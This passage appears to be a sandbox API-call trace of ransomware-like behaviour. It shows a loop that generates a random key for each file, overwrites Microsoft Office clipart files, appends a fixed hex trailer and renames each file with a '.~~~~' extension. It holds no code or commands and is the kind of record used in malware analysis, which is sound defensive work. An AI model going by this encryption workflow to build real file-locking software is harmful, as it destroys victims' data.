	[0093.969] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0093.969] GetLastError () returned 0x0
	[0093.969] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0093.969] GetLastError () returned 0x0
	[0094.069] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffffb52, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.070] WriteFile (in: hFile=0x124, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x4ae, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x4ae, lpOverlapped=0x0) returned 1
	[0094.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0094.070] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.070] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0094.071] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0094.071] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0094.071] CloseHandle (hObject=0x124) returned 1
	[0094.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0094.071] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf.~~~~")) returned 1
	[0094.075] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.075] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0094.075] GetLastError () returned 0x0
	[0094.075] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0094.076] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0094.076] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0094.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0094.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0094.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0094.077] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21406675924) returned 1
	[0094.077] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa1ca6cf0, dwHighDateTime=0x1d60e1e)) 
	[0094.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0094.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0094.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0094.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9928
	[0094.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0094.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9928 | out: hHeap=0x300000) returned 1
	[0094.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0094.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0094.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0094.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0094.077] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283e718
	[0094.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.077] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0094.077] GetLastError () returned 0x0
	[0094.078] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0094.078] GetLastError () returned 0x0
	[0094.155] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffff32e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.156] WriteFile (in: hFile=0x124, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xcd2, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0xcd2, lpOverlapped=0x0) returned 1
	[0094.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0094.157] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.157] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0094.157] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0094.157] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0094.158] CloseHandle (hObject=0x124) returned 1
	[0094.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0094.158] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg.~~~~")) returned 1
	[0094.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0094.159] GetLastError () returned 0x0
	[0094.281] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0094.282] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0094.282] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0094.282] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0094.282] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0094.282] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0094.282] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21427247496) returned 1
	[0094.282] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa1e95ed0, dwHighDateTime=0x1d60e1e)) 
	[0094.282] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0094.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0094.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0094.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9298
	[0094.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0094.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9298 | out: hHeap=0x300000) returned 1
	[0094.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0094.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0094.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0094.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0094.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283e8e0
	[0094.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.283] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0094.283] GetLastError () returned 0x0
	[0094.283] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0094.283] GetLastError () returned 0x0
	[0094.421] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffe074, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.421] WriteFile (in: hFile=0x124, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x1f8c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0x1f8c, lpOverlapped=0x0) returned 1
	[0094.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0094.422] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.422] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0094.422] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0094.422] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0094.423] CloseHandle (hObject=0x124) returned 1
	[0094.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0094.423] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg.~~~~")) returned 1
	[0094.424] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.424] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0094.424] GetLastError () returned 0x0
	[0094.424] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0094.425] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0094.425] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0094.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0094.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0094.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0094.425] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21441550481) returned 1
	[0094.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa1fecb30, dwHighDateTime=0x1d60e1e)) 
	[0094.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0094.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0094.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0094.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9340
	[0094.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0094.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9340 | out: hHeap=0x300000) returned 1
	[0094.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0094.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0094.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0094.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0094.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283ebd8
	[0094.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.426] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0094.426] GetLastError () returned 0x0
	[0094.426] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0094.426] GetLastError () returned 0x0
	[0094.496] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffd56e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.496] WriteFile (in: hFile=0x124, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x2a92, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0x2a92, lpOverlapped=0x0) returned 1
	[0094.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0094.498] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.498] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0094.498] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0094.498] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0094.498] CloseHandle (hObject=0x124) returned 1
	[0094.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0094.499] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif.~~~~")) returned 1
	[0094.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0094.500] GetLastError () returned 0x0
	[0094.500] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0094.501] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0094.501] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0094.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0094.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0094.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0094.501] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21449140266) returned 1
	[0094.501] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa20ab210, dwHighDateTime=0x1d60e1e)) 
	[0094.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0094.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0094.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0094.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x388720
	[0094.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0094.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x388720 | out: hHeap=0x300000) returned 1
	[0094.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0094.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0094.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0094.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0094.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283f098
	[0094.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.502] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0094.502] GetLastError () returned 0x0
	[0094.502] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0094.502] GetLastError () returned 0x0
	[0094.557] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffff3737, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.557] WriteFile (in: hFile=0x124, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0xc8c9, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0xc8c9, lpOverlapped=0x0) returned 1
	[0094.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0094.559] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.559] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0094.559] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0094.559] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0094.559] CloseHandle (hObject=0x124) returned 1
	[0094.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0094.559] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif.~~~~")) returned 1
	[0094.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0094.560] GetLastError () returned 0x0
	[0094.561] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x28d8568) returned 1
	[0094.562] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0094.562] CryptReleaseContext (hProv=0x28d8568, dwFlags=0x0) returned 1
	[0094.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0094.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0094.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0094.562] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21455209223) returned 1
	[0094.562] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa2143790, dwHighDateTime=0x1d60e1e)) 
	[0094.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0094.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0094.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0094.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x388800
	[0094.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0094.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x388800 | out: hHeap=0x300000) returned 1
	[0094.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0094.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0094.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0094.563] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0094.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283f2f8
